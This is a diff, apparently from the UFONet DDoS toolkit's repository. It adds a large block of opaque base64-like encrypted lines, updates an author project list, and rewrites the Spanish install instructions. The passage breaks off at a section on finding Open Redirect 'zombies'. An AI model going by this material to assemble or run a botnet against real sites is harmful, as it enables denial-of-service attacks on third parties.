+b95wn0P9c2YI6vQifqYlum64qitHxVBWcqP89JyuxGS8UoYlQDzbmM9nhf9smO8gh2W7sRWznQ==#-#nfxZyUIaNxZAx7CLByxxo87QC8DkkKAvSWI5/wqRRjHri0HLSFQazqKflFMeUEAFX6VDm0vs#-#2EQf3tEGslOts16WMpcjupOho3vBtNrurXyZJcazxl6FuZJYKxmHf/qR7pfvDnn0McWsQuqG9g==
+aWyXi/5vtFW8QpjyBe+BAkswjWHsfxhrbpbzXh9s647YP22iYVr/wQn3T18wzxs6s+FaRVAt1w==#-#26viAoO+AXPO2AVeWho5cXOziu5P4IPHB6/SzPjQ8FCoD2WN6ZyFDrh17iS//4hX/7RV48Bg9A==#-#lbnGElVpgxAvnekHF4is06cp/okq6IYHCJD2D1MbHBIodgbUEiHt3PhNSemNkPvNWB4Z/IXdJQ==
+cSG0qwWVE7MnIHcgTz5VhcCP7nza049seAtmGMJwAu+Yp2lhHaUBmGZ0Lm2RHu+kTWRrTfwmVw==#-#my+S4FyvCgGa+HxZqQ+tIM1wQDngEZT9cnXm1+wESjryVMqziCtZqy1v3EQ/wZeziOx1OAk=#-#pJ8XfjS8q+BYIDw2xjnIZ2Jgs9Lu7C4dNih6jgR4I/tzLcBPVJ1a/1Nv0ng6u/lQna+UrIa8tA==
+FY3Pd7RlLsF3plrA1prMLpf6FwzKQdVfa+5TnonzlblHW/eiK4l4I2u3J0h3ojHBSq3pM0mAtg==#-#RREKqhKyClFyK8SPr7UbLeaNFznNVXwwv0Ab8etWxEjNFLFCZJOhRJlDESVnzQny33Sj8yMc#-#Mw952zpGlER5XuL+uyjj8keN5mW8pwdHfFFx1AsgT+sWBGWgx1/Q/JoRtjKOR78K5lu5r8B04g==
+8SCoTcRGVQt1h9zeKCRmDnnIp6sNhm209EhhHL7jEI/9YPhY2WwBR110sDGk3VDGw4d/9tPvlg==#-#2vqluSMUjcY+tzExkUT652WZc9jJAu/pFtJhQ55ZLnL6TpUoVMzzj+oCMgq0DU+J3cVHSls=#-#jV+4QNjPu6g1wDtXmn2v+gjDD52WhnWCvtPpOzPxhzfQQAxBxr0cV0XQvkMyk6yDxr9CmOMxmQ==
+WD03evn2RBusudGhzlvmvZW2bipvLqJTluMZzz5Ku0BqPtUiXfcxf4kVWcB6tksvlr8dMuFDOQ==#-#iY458W6tUiqV0lzWGmhK4yXOReVzmuSi7zjhgPMYii9KN7tVGznD9foEz6MlzaLwS1nk7m9o#-#IkAgUgf34syehxPh6WwaZtFcJ38N9zdcAQ6PLUAZ1QP2QEbCO085kYyKWxR5qQjqE1B4NFBGQQ==
+p9S5Z8bV9xcAEpoPkNGSdjWAuZ6RH/qpeceU5ns5OJN/feetIM8ksLDVypLNhuZUEA+lvzwaXg==#-#9+MMKBMwVeTNreVtspmR0dg5fz+1KIJCeKTvH91Z6JeTlWeL5IPG5lBSkHppbA==#-#FyvH7BHb5KD4PQT7luvOyLv6FKu9GIXaB1pD+DiWCGoiC77lIx+9GGKTrjdQey6QCQTiUwnLYA==
+KN3SkdYFb4OKVo3QbJwopc/TV5VshelXYRojRLnXZ2MuAIXCL91DmmwNtfb7ThJOGMdhY+fn8w==#-#oKa/SP9IyAkYHO3skXKhX++K3h4IfE4Y4x2eyh6QWsaNZzGgBMSzJWZQ38UU#-#sVGAGT4r8qwFCJbJO7aPcijDtXyPPf3PTUtZS15vKpfK3yHcm6uvdQvylyTVzhN8zabM7rby2Q==
+0bnv66QbGPyTxuViootHs3f8Xg20m1xRkO/ms4Wqiy8RGXAUzSLSCRtAaw+WkfJ8LYPrgXHLQQ==#-#VIkSNJ1OhRKPwHBKPxy90UV0xd/apsvmubDdHTAypH1xJCN9AMy4VSQcLX89CKg5VQVBsmwznS4c3VJgJqEV1A==#-#zBUq02Uk/7n7Uok5Q20HME23gEY/w0rr6761afi6t+iX41hNm7Wx/T2Pvkv9SmwdfdNl5nZ8cA==
+uNxeFYuIKk/blorN20nGxTA3MOhpnnKS9it6mhzSapbrpg1lJ7rBfjOspvAd+yb4i0mX4ZbEyQ==#-#jyPF6X2cQg7eCUnBd3RRi1LOFcyoUqZur+PIP/MQu/DTTN2ZRbTaM4zgeN6WsJB4h81tRA==#-#5QtjCLsLbMf1ACAIjI97LGij/gs2Yc2M2Kw9BwW2gl6hP5agv431h2xR6r7deKA5fyiuZuaMHw==
+yn6BgJY2FXMo+gvZviVXTJeYc99SyHQYdwaw31VWcCsWAf6IQcEiRlqLcI1dzW3BM62FZo3hXQ==#-#qvYdKdqDbLqsqsNEJ5U+xUI8cMZFSuJ9/iVhGe7NALVBYZd0ggSww02tQJpqcaQfPAp2OELDPt4=#-#D5oIUu2iOOEeSNhssU56LvvIg2Blxt7sF2admT9If2Xht2tAe7d4jdrb6rzfZdwbPbrUxQz+AQ==
+UBZ3ic2R49LHigKpuKdzDG8qG7BzSjYhvktBWxjNbdeMh93Xl3p3xr01P8HlOyjoEN7gg3esVQ==#-#P7KyF75tOzI7HITaT8ZQuyrAueunN3amHcsAilhoIo9YfwE8hgMXdIkpANaHILw=#-#HARjfFEjL8D2WLHecXLPBBtjDcB/Ve2km1mz8wmpJ/TV2mag8/pnaKOWsXiYW2CfXwM1kf+y9A==
+eYRwbnXfBGPxBc/8VEZEzQ7WHAEEctiU6wMYmdHRKN7asaqq+CDwYg5UoicPofwuB0VnY/ua5Q==#-#ajG+mJUE7hXO/6faz2gqzasZHQY0T7tldljjuzK/899+gndwl0v4DN2cQQ==#-#+X3FGdPxOS0UNLFKm3l963PoKDsobJ6gRA3TuCHV/M04liMPRHrajKcp8ZTJV1i1fBzDtrPWpw==
+VS2Qgy+4ekeMn5ouEPE1QheoAYrnmWuH8+2VOpr3ErKDMMyACOihDz2VB7LbJYEjL0/sOpUOVw==#-#lqUoNoqu0NZev3zvPo3U0Xb/7fj2FZqnjKmmzpld3q/lynMVxEJFhDU85AocydTDBRMN#-#rb/03MWqpLCwgZS8eb218hFens7jyJz1J46bzshhsVHhcDrg4W7KS3Hk7r1ot2xZD3wgEIxdIQ==
+yWAWSP5d3/255RrAX658NY8tJuExSookaGZnt3nMwEYiYbyOHZ2m6C9ZLYr0f3LoHDQaB30LWA==#-#2A/Quv2IrdqOh/9ZZf2Xk0/go1fufNXMQTREAJkK0pL1D+/fWoIWHunc93WEfJ5ZIavS#-#+ZiVCkhduKn/Aw6USac4eBI64FIrt5NXm2H+ok3FFannOMysXaMOwY2+8+zmio1ddTH3t/I/Xw==
+sOHNd/AVZKBdiFasqrPXi0qjE0v43wBMSaiDeES1mWO5IlbjjdS6dHgRwLHbzC4PS4FSjaaO+A==#-#oA10CaNtOmgP3WDQtVhaeWhaL2rYq0mldy4fNyWNXjpNMxnMnTP0H4YuzVa97IyCt2CxF8swH9nTFBsr#-#IjouRd9wR95O2w0mCoxqzsoXcqpIc+ZFzzGGkUui5Vn2vp6mtNzcga80bg6LDaIBNc+/Rzy2kA==
+3QHI42GcjykHUk/4cANvIgMWw5LnpsiSaXhEXVHAzdP7umtOBZrWu2tNGajQwi4fzp9zkJQPTg==#-#N7zI6kpCqtvus5Fi/RdzKIYfb12gZGlU60JTtgOzt1OjtB8+f1iZ+ZCH#-#D4eNDvsOu4WyHi/feIU2tBHYzJOvXb1eI0RxFBwzeUfj+Dwwbb3Gi3LNBhbGzfKcL4aTkqVTdw==
+WYcLyYOmkIADG17DgQyz7OmFxxy87YC0O22erutGQvp3pCW4mqVujTnJoA/LR/hZk8sWfsNeKA==#-#bCZ2pvj0vmnS5s8CrJyDUvytjFkiFZuidUaPZLrey8VGfUuhKV6OgGrkATLqwg==#-#VFVJmaJkR5NPqW4PbiAv0jpFVjLv+FxjvvqIGX4H3c/Pnaux0LH9gy4hpYVRjE6lU9slaWsIyg==
+F8Ooi+GmKuoC/P5bmjASKvpYyJAoMSb/D5zPNoz7pyGPyVKwV+y8NtrqW2HL6jr9WD2T+bm6JA==#-#gMhjEaPAHMyH4UQ+eL2cPlxQ5h8gyGixO2spCYEBilOdbYSa2WFoNLlXHESkb9k9GYQN#-#vYB6/JrVBvvtjtbc5JaE9s6bD1H134klj04PUYoL+rjoGvlDTiQRa1XX8xVW0VGjzgWBh+sn1w==
+kwZawa+e+7E19qXYzgaWTkAZvKnzK4E8cnwTxcqhrfzpP52m7e5gb22Pq8TyodeWeJfKjF2jUg==#-#5LC7TRHPKwUS4SIcLnvTSRnQjPf71bFTHWDDU0BFTN0jvD+arNar/90eT0kB8qFMOdud4w==#-#J9Lbv9adTlIOC2syGK8MAoO4GNqeJOUM0To3yTYPt4W01TpeT04O/PoLklNHUKNMSBBQXjYUhA==
+DJn+BsRu74R99wdQZL/bcULFZDmE+zrrR7j6vNhQP/oPxD6iSDtYW7ZC4jACwzMmbbbgKTbm1A==#-#gms35O7z5nHdgHGiKz5/+mTd0lkTmOpGh1wTh1f+zvNk4CDW15oLF/RGXMlyMamrlkrgrA==#-#TTn5zZcsv3uvHVcs2I5PLbkQKjNLdzw6pzqOmip0I1qKhHKwjdNx1xPadlJ5bHl/eK73cpnjkA==
+AEnTIrIvCHn/og+re/xDMvizajJKDcgTFfjj95+4SEbUTpsO4/eCPF31YFU/zhqTrKdNDtMmWg==#-#166CmfcbzGB0gzsS9oENjUZxYGxnQBH/ZMLgaLV/lvfDxfNciO88jVR3ZPi4Q70x3y+CscS6E7jz8WQ=#-#c4wiMTo3DThhsHF5S0OXQhLyhafAi33m+a76wqVOv0iAMW3XJFOUzVO8WbjOiLx+YT8cmcztJA==
+gtd8NEs0qNdBgOK8c9PuGzbKiRMRfGN4V1duSjbMkkVWCd1XNibiRaIB2eVVH+X3SOKet4bL0w==#-#FXBPUudUtjMCoTr90JAuKgkTHziRP+xZpk9wJdZS/3o1luEqycAccf0ua4Lh#-#LGEgD0IzH6T5D1/Rs6Ssv6LFZLF2eJy5GN9g/omAIsF0S4iGi2OAR4niTydnKGii+1u7cpx4BQ==
+/5eHb0AVtXjZJSzZSE8no1pwW5Y5K0r6Ew1akVHrg+szZz9m7R0vGkiUHmYieK7rZNnLfWZxSg==#-#2tCf1Fnqbv4O+SnnMt1r4fr1qlG30hHB2nLyfO9hnCNm2RHu6VkAVwF1RbrEdOBZ9CRkknngYaa3hWWh6w==#-#NQWHz3d7Wm5FK3e06xS3u1jmvt1KZG2xdfViESidlMdfIaGJvljBTOUKChjgAhoPhL3IPdbTCQ==
+nYoNvUkAk1uJ08OXiQKHKINdKFFMmRpPABIkHZpLIoer8roN+3NrweqBXDOrS9oEA2L/5AStzQ==#-#8AYEgNmra+KIC/wMfmlM/VKvp/xLaE0xvlt22uXsiQg6UM1NM2rUNCsrd2BVNEpKFJI=#-#NInYb6F7VAfmAWLIuoH8YR+uKfW0NvJGcKuPxvjBrAINRzWYwbiuoiLdae7xRe3+Texi0eomyw==
+4VUBMUqrZHP0GtWybYiJSA9+sXVmlhO01fvZAyJKXtNTrDyj0qSQ+gnhf1AFnxUt8FiKRRqEXQ==#-#O0+PUXFVpyktXEYv9He9t/JW/QPmT5bKzx7ciP3sAFf16LILQNWk++c/ySE95Ud7vnGZvVXqz/3+StA=#-#lW9KbgFwuSMYtmmREwIHEIfikedeby7OrMjkXJhChkVD/7QkMYc/kUrPW59wjSrxt7ACdYbFFA==
+k1qnxUrSxe+m7lJQNvmwaJK5w8CrFu2hkwhBmFNh5LBmpe+/eqkUc22nSEFKxI3hwURCtPFI8A==#-#G7Y0Ui06fxAKastgupDfVz22Qhypy+oKLzGwdyOL4/zG1uSXqKh1Bfd8Uw==#-#d8savFfsBvPlwTNwhj8N0klNpvepL/Iu9tlBp2LRUfVsS7M/xlKXoO1zggZvxaUIgX4B9qdmlg==
+Mycnk9oQ6QpQqgCJyq0L258GFtcyxyJCfptOjaXSEsnasikllV7A1T4vosr9OIWzatkNiGcxsA==#-#nmLU3ABe5qy9lGKx/VNUQtqf6uKgcKn9TBm80Zv9dOBhgTU0/tOajng3oJ/7c1Rt0Q==#-#bvz9gJ9XRHM6hOip4GvAgINn/GG4OqiyPfQl8kMLqLSkL9Xa+50cVw1PCxGSwyINiwVN1Loe7w==
+Xe9/R0XbNHNlBi0nSO5q7gFdc447LjHIHhcLm/XbOsHYF2iuCvR9+M7+2cSm7Y2XvE28MIBHiQ==#-#I9Vn+HZYmEgV5Hoeycy3dTRAeqrZWo2rQVRnceoFYb8cNHAQhbDqCRyJx2AUZgBzOPGp#-#welGHSCKzW6Xl9PkqP2djyNibMDz03ychs+W2Gucwr7STrz/U2X/ySw39hbfpy8+HMl56Y1bgA==
+a4905D6pidfXEBJLtOfG2mCQwykNBLtHvnz/ntz/wHGoQbKoIxsNTL1JhkSrTUcTfWVkKZ4BAg==#-#ftofxM8QeqL5Ay1Y0KEtWpEkW+kQeIz7knTrqecnjO9i8+4YPrybBVtwVD81BRUjUhU=#-#GzeiMemnzoEQcCKDURWhLt+ve0L/f0RYiRCkWMnd9WLI655LSvI1xf/lBhs8ZWjiRnYfJw0T2Q==
+vnzgd2T+6oZt9qGiWYSmI5Ssjx7aivIlHSig5DaBJDMcoAopfXfqDGXUyfN3f968INWt5mFehg==#-#lthAPqA413FHFlnIdX55/JziAnm0HIHUMfER5krA24Y8tQGBO0AjYdAN1lUfPS+N19BOurnADXI=#-#s1W5L1o5TPfA2GM3GTm2QAegyZa8gge+CyU5jaDySeHXJEZesoSmdUT8y6/2631nEWr1M3iFyg==
+HXz5JD/gD3oS8PZg8sot7m2yArkT6+biCBG0eCIvonkamO/aIAiES/6xN+o1WbXnDUd73bYdEw==#-#UGTPUChniVAFJzbG564F9IlaW8UDZjAcFimgYrh9I18Tvpis7puowYrMTm8PR9xd#-#i0WBUaN0YK1PhE7ZUl3h1B3lU/nmsfWwIUjADfO1TIH8D8wU6fCFAry/Bd2Lr48ACDrFB4HCuw==
+e/efoWgfJ+XV4hM2GEUJ2VSyNRRkPdv2FjsM0Z8aDUDxc46jM+vYlaibqk9O/Q4LYLwF4dpX4Q==#-#5pTwn7blRb+2IFG1HPcHX63XJxwU/BZ4Xtd9MwRcILJLhDqRHWlnaaqFLw==#-#mt/yVWQBkavQaxebtNgxxxYNKGl/tVTUu3D+7ZDFiqkNI+/b/yQNNR3RB6wvSMUAN0zoepervw==
+WroL7TWc5UqieTXGaLp+HbDYnL2SfJ87Y8lMGgDV46R5/gIHf3Rz8N7b9IeVbkmWeXSRBD+67Q==#-#0XGQaQI1RvLwXtQlZ6dP7X8d3kdCtudVExY4lCo3aUFj+B+ITxoJKKVpejLk4Q==#-#Xx/FqLIXr24OEOMA9l0lN/iantlTy1W35NVHrcDSsrdxFQZwk8+wD9XWN9C9pT0ZvkzDWwC6FQ==
+tnbded0sUpXQCP8Y1YVcs4ck4i26L/kiqkFwmduRygGnT0KgQfKr8HwMt2nOiweZbkcrFUwMJw==#-#NQp8Yt3cvZMc2IYdkpbLUu8519/3lWrFNHYR0Qk6LRmA0kSRgl62b3GG7ECyTSqp0Qh+KU0BEkpSArfx#-#gauIkcXpviCDM0zUfQgFR++aBQut7Q7Try4tdPG5QVyoaV4FCHS3r2EVopTx5MlVh8Gvtal0Jw==
+LA9a5bHDJbQzO4Fp6Th0btwjtQDK+d0h6I/DCD5y0n3yhQ8avWbKoe2SXWCgAhp4kkH26tRACA==#-#XWz+H6ctYx+HWQ2X1Zvh6k5fUC6rGgeG3r++k5WYh8EAubUo97SZDKG8eEj/Xlu+wnXqfrHjNcA=#-#vzyoRainSIG5PRjgvpXETnUCl/RA/89V78asJhNw1P4NfyW7vSFU9ZPLMnS8XOxPsxY+Vavz3g==
+Z0TMJN/y0o4RDk8wbFr1BkXbMukEaTqiN8WdaX9gH3Zt1b6vhV7O8dyEtGzd9piw8ZvgO5AaHg==#-#wLlqTkCqluIi9CRH4xlwoiKrGZZAbW5gZvm9lCkbkFAziX93/8Xk+SXa7SFQ6ds2C2s=#-#F5C8oy+eFvSGembzcXlZwE8hjJibxN4pBP4qIEpHSVMaJ+dZWY30FZbPYZWli1EtUZKuGYRtCg==
+3MdlK5kRzK5+VOKIKv2PJWhmCMSMi9fpUtDGofuTHGG6zRTn7CQ2u8cX+01LXN34hRIpQ013Hg==#-#B5U9dO6WMuyb3a6KJA7WP36BkVnhgDHgBoBsLnwoVap5pon1ZREF3QFgSnc=#-#4yRn4HC9J2/ksL8n9odsRSwqS91UgxkLsYgOYIbs96gPwZtoPmnGrfi9Icq13L4ObbtO6oiEkg==
+Yb3s55vmpSbDpdi1i7PWCELiRdCSycfNtgenDwcrKK17kmMMR8ErfelUA8HDfz9HZUrbV1NGPA==#-#KUKvYPcev90bSIaLUiyNm9bvHEeOhBrkZINB9nEKdCYZHfmjRSBwsSyhjWL86g==#-#3ZeJffc7IVbHsQkev7zgE1NBzwWE8BULCaEFiKlKzDP84Co3HSMtDurfGSc66R195+6+FqAM2w==
+rYv5Z4C7XFI7xCUK1HBU1xbcAIKngwQru9qFMSHgz7jQu2ulyLx3b4NEVo7Dnlf/jZ/Zno+0Ag==#-#6eKXoRu5BPJyjHuDMSEdI3Ce3Fc1O8zdetkivFpPN2NkeIu53JYHoTwv3L4=#-#QdHWE5lBwrAncTRlkTIU3gbmGEP7h/No5V8uxHxrsw/A5V0UFsp/3DtFQMlAm4qLU2mjnPfGRQ==
+vtvg6qK4klxrQZukPq3+1nxGdSUFuRfCmETkVnfVHbLqfSrwfXGNO2DXsOiQStdywbB0D9xQUw==#-#0ZtVc0JIypWJGpAloNaPYPxQKAW+lOliNaTBQGvKOSysxn4x/iNmZjBP53qhl7FLtQ==#-#rEmiSqoXrBz56ZNXW37/aBTiuJJSP14t8Kaista9i1OeiZ5gs6uBP1mmLENL2wdqG6LGoJOByg==
+xsdhP11cHzugGah3tO00+gLLfy5Gn3s1oLKwtdd0z1baxoDB57myPfpUA7OpHjSejDQupNNtEA==#-#Y/u+msois4C7osJWb22w5pwrcPiiQdPWPDlVdJbjhBvnoAtxN5XiS5v8BXDvpg==#-#HTuBc3BxfXssCnjtI+9DmdkaowJxg66l9YDBZ1PE+2cqPd8mWOQ6EhchmLtYgW+J/cwdyKGrvA==
+B318827mh10xZJp+StQuHc9+Eq4DcPaCM2AlR8CTVsgIEOT3y9DMGCldYuwPIegvzIY4aydFZg==#-#T8p8R9eSVWVopXBrtL6k8ZcXFw30mvcU2McxPfcTXN6PjvLpU5MTBl64sS0/FiGC2n66uO0=#-#wMFG9EFLS6VxiCnIm7m21vV+X5n3OuijaoAmtw2MNsHG+HTJQ6Y9zFpE1f5YOZdoxrhHJThGtw==
+t3fZBtwySW9Ffev+j33APRcqyox8Fqz/sIvyc1oBpIwZrajEm2D7u2n7TEUVFh3LNAdJMjzqmw==#-#Od8BorvgEGTJIluYMHC/Fj9XGct1h751EgFt4SXDGUe5DUA8Q8ylIz38meWwzeU=#-#1VIxuohgc+/qOn57L/tcqqFby7Fma3vwM4oxRNezIsqTIIGk5mCystYRw/gWIcnyParW99K6KA==
+NZlX2o8g1MsRLFUJAdtt61/g+qkVQRhWy423KCWiScO+9AD10wbzShNa/SBvJKLCReWSgaIuqw==#-#QWttLtQi4lLTiTykSQkx4CK2wbtqP6pIhNt7TrFwABMcm6JqEkU1cx3lqTPWQSarQ4li#-#8ehxbhcdE1INrlB6E2jZf9R11650JnuCZCLJiH2Ej3D/2gdgOiqHniOfArhC4jmjONVDxi9jmw==
+0D2ZVsgBlvS2cT3bKY6jY1NDKXrEC5TE9nohcGIFbEdjLsvpway01l344um/JSx4j+IC8MKkJA==#-#4l1h8yneLSIaSbG0HkU4TDZiQwOraWWN7eRiYQjTOtitwXnuf5orN7NJBYs56UtGB/0O39tHPDU=#-#6gboLLjAwt6V1Mu6OzIfsvfxg/SHF7edQSXGlbO0IyfodMLYI5P0UnJGs7lh7lPt2BiiyJvHcA==
+2Ref6yb6jJTvQTndCFEfukyYv44fDJKMNGYuOZhuA/4NUe6FVmENiTRSgstTV0X8Tlyo0way1g==#-#nwbwZWFgZ3is4g5QMqKvHwCfQjFBoM6wq+voCPt5GhUYg4XYsYMYL2oLJ/pb#-#haKAMrdDG5J7k11h7a7zXWQvjSv4lsfS1P5skr6Zb5t53wgVQqE1Dcq4reg2SxpFNDExGsH33Q==
+gcFNUyQml6wnPcLJR5WDHO9AUZ28SOUe+iR0zmYyKtV75OuI66QY4Aq2lPNKoKFpSAbe0sHM0w==#-#iy7zVd1KLpxOomEFG/q5ECyg/+Tt4hOyh+GgDqjWogK00FBkJcHobkQI9iOxjc0f#-#wJzw7P6O6zRn7GUdZrqr4uOe3g5eGsNBSnuiEs47W/NblvATN+2bhSszZo+0mHdK0OjIsLUzMg==
+w7XW3DG5Q0TTwLVU9TNJUASyNqVd4d75PNQaJVMeFrh3DQqxpwqpXiXjYP2Q/bUvGjIdMtPPNQ==#-#9njwikqibG8YO17jx+SAS07cvGLnGcMbsnt5v3ARIfHDu06Mr/R+nFE+bwRRBuosJz06GdFB#-#TDBD4RgNHxsve6iV3Y/Ore8sKTzR/ewgW+crhxy6+KE+4URkoQ+ZP6u7o3BkvArmOsa92SG2eg==
+OAY6qIAzs5sLcT4bg5sfc/0KObuZr8WOZ+KuWDUTiHdXn0DHa6oesKaGaTCsn4oBY2eQMm+AWg==#-#xmUCXlcoEEXmYLvYStN4AfYu9Z5Hyhw6yuixge8n/WLksDabESM1LSxcLap+zztSwhpG#-#/j34To8CjWUwGkKNHsnSjw3at/EUOAFU6zl+0q/5WhuR87ee+i6A6wJN+OAlUPksdbM5Q1jV+Q==
+tXaskvMMW5wEEPZCv79tlu6k7lbvS9bPl6LZolEbwOIfeAae0lpRJAj6jZe/FPitFyMxdVLWOA==#-#YddNw+0UcRQQ9I5UXzOtKoSxqjKGDBjOVe/Fs6e5pCWnQwbQH4CVIHBRzFhg+gPJHoLS#-#L33bm2GgwqGvsM8rVjkzqxaGbxELgBTfihwDTfIk8s2LMY+mZ3UVGHX8OMZBtq52vlC3OAYSvw==
+iib8gm2M/VFZa8JvRow71wH9SiLm5XT3UuvPq1G9DcsipcLR7oORcU0iqLTA2IwKw43rWGxdqg==#-#GFBhrxtokhGNI9kNUbNOWPlx1MfmhW1c6DMcgke0P6YxKYWpk9LTo5jboBkbvITP/KHIq+ivahnu9d8=#-#UkPE0qs7BPB9VjQvXm8NW3X7UHEs+9hf8E5GuR5/cmVdNERM9QSahEAZnMhtOTrp39oh5Lm7Gg==
+gqe7dUTMN6CImf4tczblu8tFfhzqm+Y7nX8FKP/W9CS/h0dkaoBcL5kQGOxOoyRN6Q1XRQQLHg==#-#+34T8j0dq531/IelNk3jGmMozgZ9euzie2fH5+ylEpbqbPSXumLxJzKyKmFQLh4wzIt65VIxMnM=#-#tEAMlshKyqeivt74qiboCJGjCv+4D5kyOphlzkVQ3HYnjBRHUX3NbWj6xu63IrCpeLuriKHxDQ==
+/wKr26fbsoAzRQVGs/7+sCa+0HH7kjQfATWlB5mZiYgP8kORo/YAN6KqIDbMik/+uNC5cwhxig==#-#XAYHwGsbBuE0BukvTzoc/102+QUWLzSoflBLDPHFEHsRdDkJ62YxMDHvKLX1t8CYzMaFBmb0hg2idA==#-#eNlBZv21roYSnahztiKou+DTd4ff+U70sd+r6GeXAI1HWoHppXPVJiLnfz/Lbp5aX/509Vk+Fw==
+/wIARCmr9Nt3oV61v2HLDdxHBEJNKSSnOqseBjMuwPdQkRqbGozsAvv+/yBzgZe+n6c1t4jZcw==#-#MoxsFrhvDeydEzEPV/eI07d30J5Sc/ZlUVs637rDu+fHxB6seLPUv33V#-#/Q6vTB6Ui9mYUMT9m91MYjw49LOYmeJ+k+9C3L5rvKM/zeO1tC5NVsUzZTJ9NcFmGxJtm7bRkw==
+vi2meYwfUGqK/6EP/1sqfEBGwmXtj2kM5Jb9+EVbABiu5dZ7ZfEZzLHLjCMKH7PoIwsDSoVWtQ==#-#Hql88PfMKiLHkMX/8hlKpuSc47Q8w8IZLezR8vFGeOzj1vMqTyhk/MGqQxXmySY=#-#0eYiEJ1ZJt3QnmpK6r8AixPQfQGO+KqveA2RGwW2YxmaNfSWcOWDxfslsQem3trBFGUp0lblgw==
+Vfgn8FZmBQgW+wIsHA4DCut5r/Vby2E+/BgXPd9GrBTFzglGVORquYQ9fa1TPWPLtRUXRKvkTw==#-#fkSFjlxeIAxLTu6+ydnopCeWKgA7YhRhdtrkXCzW84ysgGP3w2QsLoxq#-#kRYMX5xN3TMK6UNOBf4eoRfSvifz/TbBqVzVDq+jtsSOtHbG73w8WCZ2xOlwsY7yVSdl/Jr2kw==
+vT+7aEkiQOsYVqxtTzMqes2mFhZD6kRAOlPwzrWnDer4KyhSGLCmFU7pxsdEKrjfYAVGtf4l4A==#-#lRpjsE5ajqg9hY0xIYYyCbNRIP4PoFzzvxotWzY/APjr8niFUMXMG8GzYA==#-#zqYBCgtL5pn+oGa37VYUyFbQ4H4Xw1zEToTIwEy6IHM87Ocl382D4oQuYCR1+hs026DfUfzQkA==
+iaiEoMMlHd19XnjMlVDC7r7ZNUwy0NA4BwEN+JOFQSh3eqlQxC1mG783MmmEpskWVtcxwdVBzA==#-#r6XTW2y8vFIYyuyyZSzzsHfyfy3teAurMBFirdp2A0DmkaQtMYIEE9QNGUtQzFNYcl4V2sM=#-#5oIjb646iR3gRDuciTp8R9u8wRnfgsAtEK7GzXv0TXZJKhKfaI65fQwWJffHqaGCWO3UcHOY3w==

+ 2 - 0
docs/AUTHOR

@@ -26,6 +26,8 @@
   - <a href="https://github.com/epsylon/PyAISnake" target="_blank">PyAISnake</a></b>: Tool to train AI models on solve spatial problems through the classic video game "snake".
   - <a href="https://github.com/epsylon/PyAISnake" target="_blank">PyAISnake</a></b>: Tool to train AI models on solve spatial problems through the classic video game "snake".
   - <a href="https://pydog4apache.03c8.net" target="_blank">PyDog4Apache</a></b>: Tool to sneak logs from Apache web server.
   - <a href="https://pydog4apache.03c8.net" target="_blank">PyDog4Apache</a></b>: Tool to sneak logs from Apache web server.
   - <a href="https://github.com/epsylon/Smuggler" target="_blank">Smuggler</a></b>: Tool to detect and exploit HTTP Smuggling vulnerabilities.
   - <a href="https://github.com/epsylon/Smuggler" target="_blank">Smuggler</a></b>: Tool to detect and exploit HTTP Smuggling vulnerabilities.
+  - <a href="https://solarnethub.com/" target="_blank">SolarNET.HuB:</a></b>: A sustainable multilayer tool-artifact for data privacy and project networking.
+  - <a href="https://video.hardlimit.com/c/thehackerstyle/videos" target="_blank">TheHackerStyle</a></b>: A weekly video broadcast related to technology and "hacker culture".
   - <a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b>: Denial of Service [DDoS & DoS attacks] Toolkit (a botnet of botnets).
   - <a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b>: Denial of Service [DDoS & DoS attacks] Toolkit (a botnet of botnets).
   - <a href="https://xsser.03c8.net" target="_blank">XSSer</a></b>: Automatic -framework- to detect, exploit and report XSS vulnerabilities.
   - <a href="https://xsser.03c8.net" target="_blank">XSSer</a></b>: Automatic -framework- to detect, exploit and report XSS vulnerabilities.
 
 

+ 17 - 49
docs/LEEME.txt

@@ -48,48 +48,18 @@ UFONet -  Es un conjunto de herramientas hacktivistas que permiten el lanzamient
 # Instalando
 # Instalando
 ###############################
 ###############################
 
 
-UFONet funciona en muchas plataformas. Requiere Python (>=3) y las siguientes librerías:
+UFONet funciona en muchas plataformas:
 
 
-     python3-pycurl - Python bindings to libcurl (Python 3)
-     python3-geoip - Python3 bindings for the GeoIP IP-to-country resolver library
-     libgeoip-dev - Development files for the GeoIP library
-     libgeoip1 - non-DNS IP-to-country resolver library
-     python3-whois - Python module for retrieving WHOIS information - Python 3
-     python3-crypto - cryptographic algorithms and protocols for Python 3
-     python3-requests - elegant and simple HTTP library for Python3, built for human beings
-     python3-scapy - Packet crafting/sniffing/manipulation/visualization security tool
+Puedes tratar de de obtener automáticamente todas las librerías requeridas usando (como root):
 
 
-Puedes obtener todas las librerías requeridas automáticamente usando (como root):
+     python3 setup.py
 
 
-     python3 setup.py install
+Para instalación manual, intenta lo siguiente:
 
 
-Para instalarlas manualmente en sistemas basados en Debian (ex: Ubuntu), lanza: 
-
-     sudo apt-get install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy libgeoip1 libgeoip-dev
-
-En otros sistemas como: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... también lanzar:
-
-     pip3 install GeoIP
-     pip3 install python-geoip
-     pip3 install pygeoip
-     pip3 install requests
-     pip3 install pycrypto
-     pip3 install pycurl
-     pip3 install whois
-     pip3 install scapy-python3
-
-Paquetes fuente de las librerías:
-
-     * Python: https://www.python.org/downloads/
-     * PyCurl: http://pycurl.sourceforge.net/
-     * GeoIP: https://pypi.python.org/pypi/GeoIP/
-     * Python-geoip: https://pypi.org/project/python-geoip/
-     * Pygeoip: https://pypi.org/project/pygeoip/
-     * Whois: https://pypi.python.org/pypi/whois
-     * PyCrypto: https://pypi.python.org/pypi/pycrypto
-     * PyRequests: https://pypi.python.org/pypi/requests
-     * Scapy-Python3: https://pypi.org/project/scapy-python3/
-     * Leaflet: http://leafletjs.com/ (provided)
+     sudo apt-get install -y --no-install-recommends libpython3.11-dev python3-pycurl python3-geoip python3-whois python3-cryptography python3-requests libgeoip1 libgeoip-dev
+     python3 -m pip install --upgrade pip --no-warn-script-location --root-user-action=ignore
+     python3 -m pip install pycurl --upgrade --root-user-action=ignore
+     python3 -m pip install GeoIP python-geoip pygeoip requests whois scapy pycryptodomex duckduckgo-search --ignore-installed --root-user-action=ignore
 
 
 ###############################
 ###############################
 # Buscando 'zombies'
 # Buscando 'zombies'
@@ -100,14 +70,14 @@ web vulnerables a 'Open Redirect'.
 
 
 Generalmente los parámetros de las peticiones, suelen ser similares a los siguientes:
